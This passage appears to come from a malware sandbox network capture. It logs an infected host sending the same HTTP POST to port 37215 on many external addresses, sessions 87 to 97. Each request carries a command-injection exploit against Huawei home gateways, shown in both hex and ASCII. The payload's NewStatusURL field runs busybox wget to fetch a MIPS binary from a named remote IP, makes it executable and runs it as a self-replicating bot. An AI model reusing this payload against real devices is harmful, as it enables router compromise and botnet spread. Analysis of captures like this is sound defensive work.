3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.14	35948	191.150.229.72	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608445883 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.14	60818	41.6.248.212	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608447075 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.14	38518	159.97.190.21	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608499050 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.14	42024	41.210.198.23	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608500004 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.14	35894	113.77.151.196	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608536959 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.14	49914	41.84.67.216	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608539104 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.14	41178	41.130.209.143	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608572006 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.14	40560	41.226.213.137	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608619928 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.14	57814	197.190.3.77	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608623981 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.14	40032	200.89.131.108	37215

Timestamp	Bytes transferred	Direction	Data
Aug 1, 2024 15:34:55.608665943 CEST	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Content-Length: 458 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 33 38 2e 32 33 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.238.235.163 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.14	53630	197.179.175.169	37215

Timestamp	Bytes transferred	Direction	Data
